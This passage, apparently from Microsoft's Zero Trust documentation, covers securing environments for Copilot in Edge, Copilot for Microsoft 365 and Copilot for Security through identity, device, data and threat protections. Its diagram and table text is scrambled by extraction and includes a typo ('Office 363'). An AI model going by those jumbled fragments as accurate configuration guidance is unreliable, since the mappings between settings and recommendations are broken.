Additional recommendations for Microsoft 365 E3

For user account authentication and access, also configure the identity and access
policies to Block clients that don’t support modern authentication.
Use Windows protection capabilities.
Additional recommendations for Microsoft 365 E5

Implement the recommendations for E3 and configure the following identity and access
policies:
Require MFA when sign-in risk is medium or high
High risk users must change their password
Stage 2. Add security protections for Edge

browser summarization
From the Microsoft Edge sidebar, Microsoft Copilot helps you get answers and
inspirations from across the web and, if enabled, from some types of information
displayed in open browser tabs.
Microsoft Copilot
Example of the toggle

between Graph- and
Web-grounded chats
Web-grounded
prompts
Internet

Open browser tabs
(if enabled)
Here are some examples of private or organization web pages and document types that
Copilot in Edge can summarize:
Intranet sites such as SharePoint, except embedded Office documents

Outlook Web App
PDFs, including those stored on the local device
Sites not protected by Microsoft Purview DLP policies, Mobile Application
Management (MAM) policies, or MDM policies
７ Note
For the current list of document types supported by Copilot in Edge for analysis
and summarization, see Copilot in Edge webpage summarization behavior.
Potentially sensitive organization sites and documents that Copilot in Edge can
summarize could be stored in local, intranet, or cloud locations. This organization data
can be exposed to an attacker who has access to the device and uses Copilot in Edge to
quickly produce summarizations of documents and sites.
The organization data that can be summarized by Copilot in Edge can include:
Local resources on the user’s computer
PDFs or information displayed in an Edge browser tab by local apps that are not
protected with MAM policies
Intranet resources
PDFs or sites for internal apps and services that are not protected by Microsoft
Purview DLP policies, MAM policies, or MDM policies
Microsoft 365 sites that are not protected by Microsoft Purview DLP policies, MAM
policies, or MDM policies
Microsoft Azure resources
PDFs on virtual machines or sites for SaaS apps that are not protected by Microsoft
Purview DLP policies, MAM policies, or MDM policies
Third-party cloud product sites for cloud-based SaaS apps and services that are
not protected by Microsoft Purview DLP policies, MAM policies, or MDA policies
Use this stage to implement levels of security to prevent bad actors from using Copilot
to more quickly discover and access sensitive data. At a minimum, you must:
Deploy data security and compliance protections with Microsoft Purview

Configure minimum user permissions to data
Deploy threat protection for cloud apps with Microsoft Defender for Cloud Apps
For more information about Copilot in Edge, see:
Copilot in Edge
Copilot in Edge webpage summarization behavior
This illustration shows the data sets available to Microsoft Copilot in Edge with browser
summarization enabled.
Microsoft Copilot
Microsoft Copilot in Edge
Microsoft Edge browser
Internet Open browser tabs

(if enabled)
Organization data that Copilot
in Edge can summarize
Local Intranet
Microsoft 365
Microsoft Azure
Third party
CIoud 
Recommendations for E3 and E5

Implement Intune app protection policies (APP) for data protection. APP can
prevent the inadvertent or intentional copying of Copilot-generated content to
apps on a device that aren’t included in the list of permitted apps. APP can limit
the blast radius of an attacker using a compromised device.
Turn on Microsoft Defender for Office 363 Plan 1, which include Exchange Online
Protection (EOP) for Safe Attachments, Safe Links, advanced phishing thresholds
and impersonation protection, and real-time detections.
Stage 3. Complete security protections

recommended for Copilot for Microsoft 365
Copilot for Microsoft 365 can use the following data sets to process Graph-grounded
prompts:
Your Microsoft 365 tenant data

Internet data through Bing search (if enabled)
The data used by Copilot-enabled plug-ins and connectors
Copilot for Microsoft 365
Your Microsoft 365 tenant
Data sets that contribute to graph-

grounded responses
Bing search Copilot-enabled plug-ins

Microsoft Graph (if enabled) and connectors
Your organization data

Plug-in and connector
OneDrive Exchange Online SharePoint Teams Chat data
Internet 
For more information, see Apply principles of Zero Trust to Microsoft Copilot for
Microsoft 365.
Recommendations for E3
Implement the following:
Intune device management and device compliance requirement policies

Data protection in your Microsoft 365 tenant
Sensitivity labels
Data Loss Prevention (DLP) policies
Retention policies
Turn on Microsoft Defender for Endpoint
Implement the recommendations for E3 and the following:
Use a greater range of classifiers to find sensitive info.

Automate your retention labels.
Try out the Plan 2 capabilities in Defender for Office 365, which include post-
breach investigation, hunting, and response, automation, and simulation.
Turn on Microsoft Defender for Cloud Apps.
Configure Defender for Cloud Apps to discover cloud apps and monitor and audit
their behavior.
Stage 4. Maintain security protections while

you use Microsoft Copilot and Copilot for
Microsoft 365 together
With a license for Copilot for Microsoft 365, you will see a Work/Web toggle control in
the Edge browser, Windows, and Bing search that allows you to switch between using:
Graph-grounded prompts that are sent to Copilot for Microsoft 365 (toggle set to
Work).
Web-grounded prompts that primarily use internet data (toggle set to Web).
Here’s an example for copilot.microsoft.com.
This illustration shows the flow of Graph- and Web-grounded prompts.

Microsoft Copilot

between Graph- and
Web-grounded chats
Web-grounded
prompts
Graph-grounded
prompts copilot.microsoft.com Windows Bing Copilot mobile app Edge

Internet

Open browser tabs
(if enabled)
In the diagram:
Users on devices with a license for Copilot for Microsoft 365 can choose Work or
Web mode for Microsoft Copilot prompts.
If Work is chosen, Graph-grounded prompts are sent to Copilot for Microsoft 365
for processing.
If Web is chosen, Web-grounded prompts entered via Windows, Bing, or Edge use
internet data in its processing.
In the case of Edge and when enabled, Windows Copilot includes some types of
data in open Edge tabs in its processing.
If the user does not have a license for Copilot for Microsoft 365, the Work/Web toggle
is not displayed and all prompts are Web-grounded.
Here are the sets of accessible organization data for Microsoft Copilot, which include
both Graph- and Web-grounded prompts.
Microsoft Copilot

between Graph- and
Web-grounded chats
Web-grounded
prompts
Graph-grounded
prompts
Internet
Open browser tabs

(if enabled)
Organization data that Copilot
in Edge can summarize
Your Microsoft 365 tenant Local Intranet

Bing search Copilot-enabled
Your organization data (if enabled) plug-ins and
connectors CIoud
OneDrive Exchange Online
Microsoft 365
Plug-in and
connector data Microsoft Azure
SharePoint Teams Chat
Internet Third party

In the illustration, the yellow shaded blocks are for your organization data that is
accessible through Copilot. Access to this data by a user through Copilot depends on
the permissions to the data assigned to the user account. It can also depend on the
status of the user’s device if conditional access is configured for either the user or for
access to the environment where the data resides. Following the principles of Zero Trust,
this is data you want to protect in case an attacker compromises a user account or
device.
For Graph-grounded prompts (toggle set to Work), this includes:
Your Microsoft 365 tenant data
Data for Copilot-enabled plug-ins and connectors
Internet data (if the web plug-in is enabled)
For Web-grounded prompts from the Edge browser with open browser tab
summarization enabled (toggle set to Web), this can include organization data that
can be summarized by Copilot in Edge from local, intranet, and cloud locations.
Use this stage to verify your implementation of the following levels of security to
prevent bad actors from using Copilot to access your sensitive data:
Deploy data security and compliance protections with Microsoft Purview

Configure minimum user permissions to data
Deploy threat protection for cloud apps with Microsoft Defender for Cloud Apps
Review your configuration and the features of Defender for Office 365 Plan 1 and
Defender for Endpoint Plan 1 and implement additional capabilities as needed.
Set up appropriate levels of protection for Microsoft Teams.
Implement the recommendations for E3 and extend the XDR capabilities in your
Microsoft 365 tenant:
Turn on Microsoft Defender for Identity.
Review your configuration and implement additional capabilities as needed to

increase your threat protection with the full Microsoft Defender XDR suite:
Configure session policies for Defender for Cloud Apps
Configuration summary
This figure summarizes Microsoft Copilot configurations and the resulting accessible
data that Copilot uses to respond to prompts.
Microsoft Copilot configurations and resulting accessible data
Web-grounded prompts Graph-grounded prompts
Organization data on Internet data Data for

local, intranet, and cloud Microsoft 365 (if the web Copilot-enabled
Internet data
locations that Copilot in tenant data plug-in is plug-ins and
Configuration Edge can summarize enabled) connectors
Microsoft 365 licenses
Edge browser page

summarization
Without Copilot for
disabled
(Work/Web toggle
not available)
Edge browser page

summarization
enabled
Edge browser page

(Work/Web toggle available)
summarization
Microsoft 365 licenses
disabled
With Copilot for
Edge browser page

summarization
enabled 
This table includes Zero Trust recommendations for your chosen configuration.
ﾉ Expand table
Configuration Accessible data Zero Trust recommendations
Without Copilot for For Web-grounded None required, but highly recommended for
Microsoft 365 licenses prompts, internet data overall security hygiene.
(Work/Web toggle only
not available)
AND
Edge browser page

summarization
disabled
Without Copilot for For Web-grounded For your Microsoft 365 tenant, see Zero Trust
Microsoft 365 licenses prompts: for Copilot for Microsoft 365 and apply Zero
(Work/Web toggle Trust protections.
not available) - Internet data
- Organization data on For organization data on local, intranet, and
AND local, intranet, and cloud cloud locations, see Manage devices with
locations that Copilot in Intune Overview for MAM and MDM policies.
Edge browser page Edge can summarize Also see Manage data privacy and data
summarization protection with Microsoft Priva and Microsoft
enabled Purview for DLP policies.
Configuration Accessible data Zero Trust recommendations
With Copilot for For Graph-grounded For your Microsoft 365 tenant, see Zero Trust
available) - Microsoft 365 tenant
data
AND - Internet data if the
web plug-in is enabled
Edge browser page - Data for Copilot-
summarization enabled plug-ins and
disabled connectors
For Web-grounded
prompts, only internet
data
With Copilot for For Graph-grounded For your Microsoft 365 tenant, see Zero Trust
available) - Microsoft 365 tenant
data For organization data on local, intranet, and
AND - Internet data if the cloud locations, see Manage devices with
web plug-in enabled Intune Overview for MAM and MDM policies.
Edge browser page - Data for Copilot- Also see Manage data privacy and data
summarization enabled plug-ins and protection with Microsoft Priva and Microsoft
enabled connectors Purview for DLP policies.
For Web-grounded
prompts:
- Internet data
- Organization data that
can be rendered in an
Edge browser page,
including local, cloud,
and intranet resources
Next steps
See these additional articles for Zero Trust and Microsoft's Copilots:
Overview
Microsoft Copilot for Security
References
Refer to these links to learn about the various services and technologies mentioned in
this article.
Copilot in Edge
Copilot in Edge webpage summarization behavior
Manage Copilot in Windows
Manage access to public web content in Microsoft Copilot for Microsoft 365
responses
Data, Privacy, and Security for Microsoft Copilot for Microsoft 365
Feedback
Article • 04/12/2024
Summary: To apply Zero Trust principles to Microsoft Copilot for Microsoft 365, you
need to apply seven layers of protection in your Microsoft 365 tenant:
1. Data protection
2. Identity and access
3. App protection
4. Device management and protection
5. Threat protection
6. Secure collaboration with Teams
7. User permissions to data
Introduction
Before you introduce Microsoft Copilot for Microsoft 365 or Copilot into your
environment, Microsoft recommends that you build a strong foundation of security.
Fortunately, guidance for a strong security foundation exists in the form of Zero Trust.
The Zero Trust security strategy treats each connection and resource request as though
it originated from an uncontrolled network and a bad actor. Regardless of where the
request originates or what resource it accesses, Zero Trust teaches us to "never trust,
always verify."
This article provides steps to apply the principles of Zero Trust security to prepare your
environment for Copilot in the following ways:
ﾉ Expand table
Zero Trust Definition Met by

principle
Verify Always authenticate and authorize Enforce the validation of user credentials,
explicitly based on all available data points. device requirements, and app permissions
and behaviors.
Use least Limit user access with Just-In- Validate JEA across your organization to
privileged Time and Just-Enough-Access eliminate oversharing by ensuring that
access (JIT/JEA), risk-based adaptive correct permissions are assigned to files,
policies, and data protection. folders, Teams, and email. Use sensitivity
principle
labels and data loss prevention policies to

protect data.
Assume Minimize blast radius and Use Exchange Online Protection (EOP) and
breach segment access. Verify end-to- Microsoft Defender XDR services to
end encryption and use analytics automatically prevent common attacks and to
to get visibility, drive threat detect and respond to security incidents.
For the basics of Copilot, see the overview and how to get started.
Logical architecture
You apply Zero Trust principles for Copilot across the entire architecture, from users and
devices to the application data that they have access to. The following diagram shows
the logical architecture components.
Users and devices
Microsoft 365 apps
Microsoft Copilot for

Microsoft Copilot for
Microsoft 365 and Microsoft 365
related components
Microsoft Graph
Organization data
(Example data)
OneDrive Exchange
Online
User folders
Recordings
and files
Group mailboxes User mailboxes
SharePoint
Teams Chat
Communication
Team sites
Viva Engage groups 
sites
In the diagram:
User devices have Microsoft 365 apps installed from which users can initiate
Copilot prompts
Copilot components include:
The Copilot service, which orchestrates the responses to user prompts
An instance of the Microsoft Graph for the data of your Microsoft 365 tenant
Your Microsoft 365 tenant that contains your organization data
What’s in this article

This article walks you through the steps to apply the principles of Zero Trust to prepare
your Microsoft 365 environment for Copilot.
ﾉ Expand table
Step Task Zero Trust principle(s) applied
1 Deploy or validate your data protection Verify explicitly

2 Deploy or validate your identity and access policies Verify explicitly

3 Deploy or validate your App Protection policies Use least privileged access
Assume breach
4 Deploy or validate device management and protection Verify explicitly
5 Deploy or validate your threat protection services Assume breach
6 Deploy or validate secure collaboration with Teams Verify explicitly

7 Deploy or validate user permissions to data Use least privileged access
Because different organizations can be at various stages of deploying Zero Trust

protections, in each of these steps:
If you're NOT using any of the protections described in the step, take the time to
pilot and deploy them prior to assigning Copilot licenses.
If you're using some of the protections described in the step, use the information
in the step as a checklist and verify that each protection stated has been piloted
and deployed prior to assigning Copilot licenses.
For the latest Copilot support for security-related and other features of Microsoft 365,
see Copilot requirements.
７ Note
Beginning on January 1, 2024, Copilot will be generally available for Microsoft 365
A3 and A5 faculty. See this technical community post for more information.
Step 1. Deploy or validate your data protection

To prevent your organization’s data from being at risk of overexposure or oversharing,
the next step is to protect the data in your Microsoft 365 tenant. You must ensure that:
Your data is categorized with sensitivity levels.

Sensitivity labels represent your sensitivity levels that are applied by users or
automatically.
You can view how sensitivity labels are being used in your Microsoft 365 tenant.
These data protection capabilities can also be used to ensure that your organization
complies with data regulations, such as those dealing with protecting personal
information.
The following capabilities from Microsoft Purview strengthen your data security and
compliance for Copilot:
Sensitivity labels and content encrypted by Microsoft Purview Information

Protection
Data classification
Customer Key
Communication compliance
Auditing
Content search
eDiscovery
Retention and deletion
Customer Lockbox
For more information, see Microsoft Purview data security and compliance protections
for Microsoft Copilot and Considerations for deploying Microsoft Purview data security
and compliance protections for Copilot.
Getting started with E3

Sensitivity labels form the cornerstone of protecting your data. Before you create the
labels to denote the sensitivity of items and the protection actions that are applied, you
must understand your organization’s existing classification taxonomy and how it maps
to labels that users see and apply in apps. After creating the sensitivity labels, publish
them, and provide guidance to users how and when to apply them in Word, Excel,
PowerPoint, and Outlook.
Get started with sensitivity labels

Create and configure sensitivity labels and their policies
Enable sensitivity labels for Office files in SharePoint and OneDrive
Consider augmenting manual labeling by using the sensitivity label policy settings of a
default label and mandatory labeling. A default label helps to set a base level of
protection settings that you want applied to all your content. Mandatory labeling
ensures users label documents and emails. However, without comprehensive user
training and other controls, these settings can result in inaccurate labeling.
See these additional resources to protect your organization’s data:
Create DLP policies for files and email.

Create retention policies to keep what you need and delete what you don’t.
Use content explorer to see and verify items that have a sensitivity label, a
retention label, or were classified as a sensitive information type in your
organization.
Next Steps with E5

With Microsoft 365 E5, you can expand sensitivity labeling to protecting more content
and more labeling methods. For example, labeling SharePoint sites and Teams by using
container labels, and automatically labeling items in Microsoft 365 and beyond. For
more information, see a list of common labeling scenarios and how they align to
business goals.
Consider these additional Microsoft 365 E5 capabilities:
Extend your data loss prevention policies to more locations and use a greater
range of classifiers to find sensitive information.
Retention labels can be automatically applied when sensitive information is found
that needs different settings from your retention policies, or a higher level of
management.
To help you better understand your sensitive data and how it’s being labeled, use
activity explorer and the full capabilities of content explorer.
Step 2. Deploy or validate your identity and

access policies
To prevent bad actors from using Copilot to more quickly discover and access sensitive
data, the first step is to prevent them from gaining access. You must ensure that:
Users are required to use strong authentication that can't be compromised by

guessing user passwords alone.
Authentication attempts are evaluated for their risk and have more requirements
imposed.
You can perform reviews of access granted to user accounts to prevent
oversharing.
Microsoft 365 E3 includes Microsoft Entra ID P1 licenses. With this plan, Microsoft
recommends using common Conditional Access policies, which are the following:
Require multifactor authentication (MFA) for administrators

Require MFA for all users
Block legacy authentication
Ensure that you include Microsoft 365 Services and your other SaaS apps in the scope of
these policies.
If your environment includes hybrid identities with on-premises Active Directory Domain
Services, be sure to deploy Microsoft Entra Password Protection. This capability detects
and blocks known weak passwords and their variants and can also block more weak
terms within passwords that are specific to your organization.
Next steps with E5

Microsoft 365 E5 includes Microsoft Entra ID P2 licenses. Begin implementing
Microsoft's recommended set of Conditional Access and related policies, including:
Requiring MFA when sign-in risk is medium or high.

Requiring that high risk users change their password (applicable when you aren't
using passwordless authentication).
For more information about implementing protection for identity and access based on
your licensing plan, see Increase sign-in security for hybrid workers with MFA.
Microsoft 365 E5 and Microsoft Entra ID P2 both include more protection for privileged
accounts. Implement the capabilities summarized in the following table.
ﾉ Expand table
Capability Resources
Privileged Identity Provides protections for privileged accounts that access resources,
Management (PIM) including resources in Microsoft Entra ID, Azure, and other Microsoft
Online Services such as Microsoft 365 or Microsoft Intune. See Plan a
Privileged Identity Management deployment.
Microsoft Purview Allows granular access control over privileged Exchange Online admin
Privileged Access tasks in Office 365. It can help protect your organization from breaches
Management that use existing privileged admin accounts with standing access to
sensitive data or access to critical configuration settings. See Privileged

access management overview.
Finally, consider implementing access reviews as part of your overall JEA strategy. Access
reviews enable your organization to efficiently manage group memberships, access to
enterprise applications, and role assignments. User's access can be reviewed regularly to
make sure only the right people have the appropriate continued access.
Step 3. Deploy or validate your App Protection

policies
For both Microsoft 365 E3 and E5, use Intune App Protection policies (APP), which are
rules that ensure an organization's data remains safe or contained within a managed
app.
With APP, Intune creates a wall between your organization data and personal data. APP
ensure that organization data in specified apps can't be copied and pasted to other
apps on the device, even if the device isn't managed.
APP can prevent the inadvertent or intentional copying of Copilot-generated content to

apps on a device that aren't included in the list of permitted apps. APP can limit the
blast radius of an attacker using a compromised device.
For more information, see Create App Protection policies.
Step 4. Deploy or validate your device

management and protection
To prevent bad actors from compromising devices or using compromised devices to
gain access to Copilot, the next step is to use Microsoft 365 features of device
management and protection. You must ensure that:
Devices are enrolled in Microsoft Intune and must meet health and compliance
requirements.
You can administer settings and features on devices.
You can monitor your devices for their level of risk.
You can proactively prevent data loss.

Microsoft 365 E3 includes Microsoft Intune for managing devices.
Next, begin to enroll devices into management. Once enrolled, set up compliance
policies and then require healthy and compliant devices. Finally, you can deploy device
profiles, also known as configuration profiles, to manage settings and features on
devices.
To deploy these protections, use the following set of articles.
Step 1. Implement App Protection policies

Step 2. Enroll devices into management
Step 3. Set up compliance policies
Step 4. Require healthy and compliant devices
Step 5. Deploy device profiles
Next steps with E5

Microsoft 365 E5 also includes Microsoft Defender for Endpoint. After deploying
Microsoft Defender for Endpoint, you can gain greater insights and protection of your
devices by integrating Microsoft Intune with Defender for Endpoint. For mobile devices,
this includes the ability to monitor device risk as a condition for access. For Windows
devices, you can monitor compliance of these devices to security baselines.
Microsoft 365 E5 also includes endpoint data loss prevention (DLP). If your organization
already understands your data, has developed a data sensitivity schema, and applied the
schema, you might be ready to extend elements of this schema to endpoints by using
Microsoft Purview DLP policies.
To deploy these device protection and management capabilities, use the following
articles:
Step 6. Monitor device risk and compliance to security baselines

Step 7. Implement DLP with information protection capabilities
Step 5. Deploy or validate your threat

protection services
To detect the activities of bad actors and keep them from gaining access to Copilot, the
next step is to use threat protection services of Microsoft 365. You must ensure that:
You can automatically prevent common types of email and device-based attacks.
You can use features to reduce the attack surface area of Windows devices.
You can detect and respond to security incidents with a comprehensive suite of
threat protection services.

Microsoft 365 E3 includes several key capabilities in Defender for Office 365 and
Defender for Endpoint. Additionally, Windows 11 and Windows 10 include many threat
protection capabilities.
Microsoft Defender for Office 365 P1

Microsoft Defender for Office 365 P1 includes Exchange Online Protection (EOP), which
are included in Microsoft 365 E3. EOP helps protect your email and collaboration tools
from phishing, impersonation, and other threats. Use these resources to configure anti-
malware, anti-spam, and anti-phishing protection:
EOP overview
Preset security policies
Defender for Endpoint P1

Microsoft 365 E3 includes Microsoft Defender for Endpoint P1, which includes the
following capabilities:
Next-generation protection – Helps protect your devices from emerging threats in

real-time. This capability includes Microsoft Defender Antivirus, which continually
scans your device using file and process behavior monitoring.
Attack surface reduction – Prevents attacks from happening in the first place by
configuring settings that automatically block potentially suspicious activity.
Use these resources to configure Defender for Endpoint Plan 1:
Overview of Microsoft Defender for Endpoint Plan 1

Set up and configure
Get started
Windows protection capabilities

By default, Windows includes strong security and protections across hardware,
operating system, apps, and more. See Introduction to Windows security to learn more.
The following table lists the important Windows client threat protection capabilities
included with Microsoft 365 E3.
ﾉ Expand table
Windows Hello Windows Hello for Business Overview
Microsoft Defender Firewall Windows Defender Firewall documentation
Microsoft Defender SmartScreen Microsoft Defender SmartScreen overview
Application Control for Windows Application Control for Windows
BitLocker Overview of BitLocker device encryption
Microsoft Defender Application Guard for Edge Microsoft Defender Application Guard overview
These capabilities can be configured directly on the client, by using Group Policy Objects
(GPOs), or by using a device management tool, including Intune. However, you can
manage settings on devices in Intune only by deploying configuration profiles, which is
a feature of Microsoft 365 E5.
Next steps with E5

For more comprehensive threat protection, pilot and deploy Microsoft Defender XDR,
which includes:

Defender for Office 365 P2
Defender for Endpoint P2
Microsoft recommends enabling the components of Microsoft 365 in the order

illustrated:
For more information and a description of this illustration, see Evaluate and pilot
After deploying Microsoft Defender XDR, integrate these eXtended detection and
response (XDR) tools with Microsoft Sentinel. Microsoft Sentinel is licensed and billed
separately from Microsoft 365 E5. Use these resources for more information:
Implement Microsoft Sentinel and Microsoft Defender XDR for Zero Trust
Plan costs and understanding Microsoft Sentinel pricing and billing
Step 6. Deploy or validate secure collaboration

for Microsoft Teams
Microsoft provides guidance for protecting your Teams at three different levels –
baseline, sensitive, and highly sensitive. Introducing Copilot is a good time to review
your environment and ensure that appropriate protection is configured. Use these steps:
1. Identify Teams or projects that warrant highly sensitive protection. Configure

protections for this level. Many organizations don’t have data that requires this
level of protection.
2. Identify Teams or projects that warrant sensitive protection and apply this
protection.
3. Ensure that all Teams and projects are configured for baseline protection, at a
minimum.
See these resources for more information:
Compare levels of protection

Configure Teams with three tiers of protection
External sharing
Introducing Copilot is a good time to review your policies for sharing files with people
outside your organization and for allowing external contributors. Guest accounts aren't
licensed to use Copilot.
For sharing with people outside your organization, you might need to share information
of any sensitivity. See these resources:
Apply best practices for sharing files and folders with unauthenticated users
Limit accidental exposure to files when sharing with people outside your
organization
Create a secure guest sharing environment
For collaborating with people outside your organization, see these resources:
Collaborate on documents to share individual files or folders
Collaborate on a site for guests in a SharePoint site
Collaborate as a team for guests in a team
Collaborate with external participants in a channel for people outside the
organization in a shared channel
Step 7. Deploy or validate minimum user

permissions to data
To prevent your organization’s data from being at risk of overexposure or oversharing,
the next step is to ensure that all users have Just Enough Access (JEA) to perform their
jobs and no more. Users shouldn't discover data they aren't supposed to be able to view
or share data that they shouldn't be sharing.
To prevent oversharing, implement permissions requirements and organizational

policies that all users must follow and train your users to use them. For example, put
controls in place, like requiring site access reviews by site owners or restricting access to
defined security groups from one central place.
To detect existing oversharing:
At the file level
Use Microsoft Purview's Information Protection and its data classification

controls, integrated content labeling, and corresponding data loss prevention
policies.
These features can help you identify files in Microsoft Teams, SharePoint sites,
OneDrive locations, within email, in chat conversations, in your on-premises
infrastructure, and on endpoint devices either containing sensitive information or
classified content, then automatically apply controls to limit their access.
At the site team and container level within Microsoft Teams and SharePoint
You can audit access to shared content at the site and team level and enforce
restrictions that limits information discovery to only those who should have access.
To help automate this process even more, Microsoft Syntex – SharePoint Advanced
Management helps you find potential oversharing with your SharePoint and
Microsoft Teams files.
Applying protections and deploying Copilot in
parallel
To streamline the assignment of Copilot licenses in your tenant with the appropriate
protections in place, you do both in parallel. The following diagram shows how you can
move through the phases of rolling out protections prior to assigning Copilot licenses to
individual user accounts and their devices once they're protected.
Evaluate Pilot Full deployment

Identity and access Identify 50 users Identify the next 50-100 Apply protections to the rest of
for testing users in the production the users in larger increments
environment
Devices Test device Apply device Enroll the rest of the endpoints
protections with protections to the in larger increments
the same 50 users same users
Copilot licenses Assign Copilot licenses to users AFTER their account and devices are
protected
Technical adoption Discover and identify sensitive business data

of information
protection Develop a classification and protection schema

Microsoft 365


As the diagram also shows, you can roll out information protection across your
organization while you're deploying identity and device access protections.
Training
Get started with Copilot
ﾉ Expand table
Training Get started with Copilot
This learning path walks you through the basics of Copilot, showcases its
versatility across various Microsoft 365 applications, and offers advice on
maximizing its potential.
Start >
ﾉ Expand table
Training Prepare your organization for Copilot
This learning path examines the Copilot design, its security and compliance
features, and provides instruction on how to implement Copilot.
Start >
Next steps
Watch the How to get ready for Copilot video.
Overview
Microsoft Copilot
Also see:
Microsoft Purview data security and compliance protections for Microsoft Copilot
Data, Privacy, and Security for Copilot for Microsoft 365
Copilot for Microsoft 365 documentation
Summary poster
For a visual summary of the information in this article, see the Copilot architecture &
deployment poster.
PDF | Visio
Use the Visio file to customize these illustrations for your own use.
For more Zero Trust technical illustrations, click here.
References
this article.
Copilot for Microsoft 365 overview

Common security policies for Microsoft 365 organizations
Intune App Protection policies (APP)
EOP overview
Introduction to Windows security
Get started with sensitivity labels
Create DLP policies
Configure Teams with three tiers of protection
Microsoft Syntex – SharePoint Advanced Management
Feedback
Article • 04/12/2024
Summary: To apply Zero Trust principles to your environment for Microsoft Copilot for
Security, you need to apply five layers of protection:
1. Protect admin and SecOps staff user accounts with identity and access policies.
2. Apply least privilege access to admin and SecOps staff user accounts, including
assigning the minimum user account roles.
3. Manage and protect admin and SecOps staff devices.
4. Deploy or validate your threat protection.
5. Secure access to third-party security products that you integrate with Copilot for
Security.
Apply the principles of Zero Trust to your

environment for Copilot for Security
Protect admin and SecOps staff user accounts with identity

1 and access policies
Apply least privilege access to admin and SecOps staff user
2 accounts
3 Manage and protect admin and SecOps staff devices
4 Deploy or validate your threat protection
5 Secure access to third-party security products 
Introduction
As a part of introducing Microsoft Copilot for Security into your environment, Microsoft
recommends that you build a strong foundation of security for your admin and SecOps
staff user accounts and devices. Microsoft also recommends ensuring you have
configured threat protection tools. If you’re integrating third-party security products
with Copilot for Security, also ensure you’ve protected access to these products and
related data.
Fortunately, guidance for a strong security foundation exists in the form of Zero Trust.
The Zero Trust security strategy treats each connection and resource request as though
it originated from an uncontrolled network and a bad actor. Regardless of where the
request originates or what resource it accesses, Zero Trust teaches us to "never trust,
always verify."
From within security portals, Copilot for Security provides a natural language, assistive
copilot experience that helps support:
Security professionals in end-to-end scenarios such as incident response, threat

hunting, intelligence gathering, and posture management.
IT professionals in policy evaluation and configuration, device and user access

troubleshooting, and performance monitoring.
Copilot for Security uses data from event logs, alerts, incidents, and policies for your
Microsoft and third-party subscriptions and security products. If an attacker
compromises an admin or security staff user account that has been assigned a Copilot
for Security role, they can use Copilot for Security and its results to understand how
your SecOps team is addressing attacks in progress. An attacker can then use this
information to thwart attempts to respond to an incident, possibly one that they
initiated.
Consequently, it’s critical to ensure that you’ve applied appropriate mitigations within
your environment.
The first line of defense when introducing Copilot for Security is to apply the principles
of Zero Trust to the accounts and devices of admin and SecOps staff. It’s also important
to ensure your organization applies the principle of least privilege. In addition to
Copilot-specific roles, the assigned roles for admin and SecOps staff within your security
tools determine what data they have access to while using Copilot for Security.
It’s easy to understand why these mitigations are important by looking at the logical
architecture of Copilot for Security shown here.
Admin and SecOps Security products with Microsoft Copilot for Security service architecture
users and devices Copilot experiences
Copilot for Security Azure Open AI service

subscription
Microsoft
Copilot for Security Large Language Models
Defender XDR
(LLMs) for Copilot for
Security
Microsoft Intune
Microsoft Entra
Sources
Microsoft Defender
External Attack Surface
Management (EASM) Preinstalled plugins Files you upload
Microsoft Entra ID Microsoft Defender Examples — playbooks,

Microsoft Sentinel
Microsoft Intune for Endpoint your organization policies
Additional including Microsoft Purview Microsoft Defender
third-party Threat Intelligence
Microsoft Sentinel
Your subscriptions and data
Data for event logs, alerts, incidents, and policies
Your organization’s context and content
Microsoft security trust boundary


In the diagram:
SecOps team members can prompt using a copilot experience, such as those
offered by Copilot for Security, Microsoft Defender XDR, and Microsoft Intune.
Copilot for Security components include:
The Copilot for Security service, which orchestrates responses to user and skill-
based prompts.
A set of Large Language Models (LLMs) for Copilot for Security.
Plugins for specific products. Preinstalled plugins for Microsoft products are
provided. These plugins preprocess and post-process prompts.
Your subscription data. The SecOps data for event logs, alerts, incidents, and
policies stored in the subscriptions. For more information, see this Microsoft
Sentinel article for the most common data sources for security products.
Files you upload. You can upload specific files to Copilot for Security and include
these in the scope of prompts.
Each Microsoft security product with a copilot experience only provides access to the
data set associated with that product, such as event logs, alerts, incidents, and policies.
Copilot for Security provides access to all the data sets to which the user has access.
For more information, see Get started with Microsoft Copilot for Security.
How does on-behalf-of authentication work with Copilot
for Security?
Copilot for Security uses on-behalf-of (OBO) authentication provided by OAuth 2.0. This
is an authentication flow provided by delegation in OAuth. When a SecOps user issues a
prompt, Copilot for Security passes the user’s identity and permissions through the
request chain. This prevents the user gaining permission to resources for which they
shouldn't have access.
For more information about OBO authentication, see Microsoft identity platform and
OAuth2.0 On-Behalf-Of flow.
Prompting within a Microsoft security product:

Embedded example for Microsoft Intune
When you use one of the embedded experiences of Copilot for Security, the scope of
the data is determined by the context of the product you're using. For example, if you
issue a prompt within Microsoft Intune, the results are produced from data and context
provided by Microsoft Intune only.
Here's the logical architecture when issuing prompts from within the Microsoft Intune
embedded experience.
Admin and SecOps Security products with Microsoft Copilot for Security service architecture
users and devices Copilot experiences
Copilot for Security Azure Open AI service

subscription
Microsoft
Defender XDR
Security
Microsoft Intune
Microsoft Entra
Sources
Microsoft Defender
External Attack Surface
Preinstalled plugins Files you upload
Management (EASM)
Microsoft Sentinel for Endpoint
Microsoft Intune your organization policies
Additional including Microsoft Purview Microsoft Defender
third-party Threat Intelligence
Microsoft Sentinel
Your subscriptions and data
Intune data for devices, policies, and security posture
Microsoft security trust boundary


In the diagram:
Intune admins use the Microsoft Copilot in Intune experience to submit prompts.
The Copilot for Security component orchestrates responses to the prompts using:
The LLMs for Copilot for Security.
The Microsoft Intune preinstalled plugin.
The Intune data for devices, policies, and security posture stored in your
Microsoft 365 subscription.
Integrating with third-party security products

Copilot for Security provides the ability to host plugins for third-party products. These
third-party plugins provide access to their associated data. These plugins and their
associated data live outside the Microsoft security trust boundary. Consequently, it’s
important to ensure you’ve secured access to these applications and their associated
data.
Here's the logical architecture of Copilot for Security with third-party security products.
Microsoft Copilot for Security service architecture
Azure Open AI service

subscription

Security
Sources
Preinstalled plugins Files you upload

Third-party plugins
Microsoft Purview Microsoft Defender
Microsoft Sentinel Threat Intelligence
Your subscriptions and data Third-party data
Data for event logs, alerts, incidents, and policies

Logs, etc.
Microsoft security trust boundary 
In the diagram:
Copilot for Security integrates with third-party security products through plugins.
These plugins provide access to the data associated with the product, such as logs
and alerts.
These third-party components reside outside the Microsoft security trust
boundary.
Applying security mitigations to your environment for

Copilot for Security
The rest of this article walks you through the steps to apply the principles of Zero Trust
to prepare your environment for Copilot for Security.
ﾉ Expand table
Step Task Zero Trust principles

applied
1 Deploy or validate identity and access policies for admin and Verify explicitly
SecOps staff.
2 Apply least privilege to admin and SecOps user accounts. Use least privileged access
